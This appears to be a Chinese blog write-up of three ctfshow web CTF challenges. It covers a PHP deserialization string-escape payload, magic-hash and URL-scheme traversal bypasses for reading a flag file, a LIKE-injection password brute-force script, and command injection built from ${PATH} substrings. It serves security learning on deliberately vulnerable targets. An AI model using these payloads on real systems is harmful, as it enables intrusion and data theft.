web1_此夜圆
- 下载并打开index.php;
<?php
error_reporting(0);
class a{
public $uname;
public $password;
public function __construct($uname,$password){
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup(){
if($this->password==='yu22x'){
include('flag.php');
echo $flag;
}
else{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
- 通过审计代码发现是反序列化,看到
str_replace('Firebasky','Firebaskyup',$string);
才反应过来,原来是反序列化字符串逃逸,分析一下大概意思就是当序列化结果里有Firebasky
是,会被替换为Firebaskyup
,多了两个字符;
- 根据代码我们可以知道,当password==="yu22x"时,可以输出flag,构造序列化;
- 我们需要逃逸的字符串是
";s:8:"password";s:5:"yu22x";}
,通过strlen函数得出该逃逸字符串长度为30,由于str_replace
替换会多出两个字符,而需要逃逸的字符串有30个,所以需要构造15个Firebasky
来进行逃逸;(注:"
是为了闭合前面)
<?php
class a{
public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
public $password=1;
}
$ser=serialize(new a());
$test=str_replace('Firebasky','Firebaskyup',$ser);
echo $test;
//结果: O:1:"a":2:{s:5:"uname";s:174:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
- 反序列化时执行到第一个}就会结束反序列化,所以成功将
";s:8:"password";s:5:"yu22x";}
写进去了,构造payload,成功拿到flag;
Payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
如果还有不太理解字符逃逸的小伙伴,还可以参考一下这篇文章的字符逃逸哟;
web2_故人心
- 打开发现还是一道代码审计题;
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
-
分析代码发现,需要绕过4个参数,先尝试绕过a,通过is_numeric函数检测$a的值,其次长度不能大于7,且a和a的平方都不能为0;
绕过a: a=1e-162 //1e-162=1x10^(-162); 尝试后发现只要在-323到-162之间的都可以绕过;
-
继续绕过b和c,在题目处发现了存在robots.txt,访问一下;
User=agent: *
Disallow:
Disallow: hinthint.txt
- 访问hinthint.txt;
Is it particularly difficult to break MD2?!
I’ll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash(“md2”,$b)
xxxxxx48399 hash(“md2”,hash(“md2”,$b))
- 根据特性我们知道前面两个字符应该是0e,使用脚本得出b和c的值;
<?php
for ($i=100;$i<999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}
//c=0e603448399
绕过b,c: b=0e652024452 c=0e603448399
- 最后绕过url,由于完成了前面两个的绕过,所以提示我们flag在fl0g.txt中,分析代码发现是正则匹配,
host
中必须有ctfshow.com,尝试构造url=http://ctfshow.com/../../../../../fl0g.txt
发现失败了,后来发现当php遇到不认识的协议就会当目录处理,所以构造;
Payload
绕过url: url=Joker://ctfshow.com/../../../../../fl0g.txt
- 输入4个参数值,成功拿到flag;
web3_莫负婵娟
- 打开看到用户登录,右击查看源代码发现用户名和查询密码的sql语句;
SELECT * FROM users where username like binary('$username') and password like binary('$password')
- 猜测是like注入,like模糊查询可以使用
%
匹配多个字符,_
匹配单个字符,测试后发现%
被过滤了,使用_
得出密码长度为32位,使用python脚本爆破出密码;
import requests
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://27b42a42-84f7-48a3-9c89-98ee4555daab.challenge.ctf.show/login.php' #需要修改处;
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
爆破出密码为: 67815b0c009ee970fe4014abaa3Fa6A0
- 成功登录后,进入到下一关,发现是命令执行,尝试后发现把所有小写字母都ban了;
- 根据提示可知:
环境变量 + linux字符串截取 + 通配符
,想到可以利用Linux的环境变量PATH来构造小写字母执行命令;
For example
- 输入
127.0.0.1;${PATH:5:1}${PATH:2:1}
查询,也就是相当于执行ls
命令;
- 接下来需要读取flag.php,但是发现环境变量中没有
t
,查找资料后发现可以使用cat的兄弟,也就是nl命令来读取flag,其中nl在环境变量中为${PATH:14:1}${PATH:5:1}
,因为小写字母都被过滤了,但是通配符?
没有,使用????.???
来代替flag.php ,执行后发现没看到flag就离谱;
- 一顿卧槽后,查看源代码后发现flag;
以上内容就是ctfshow web篇月饼杯的学习笔记,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!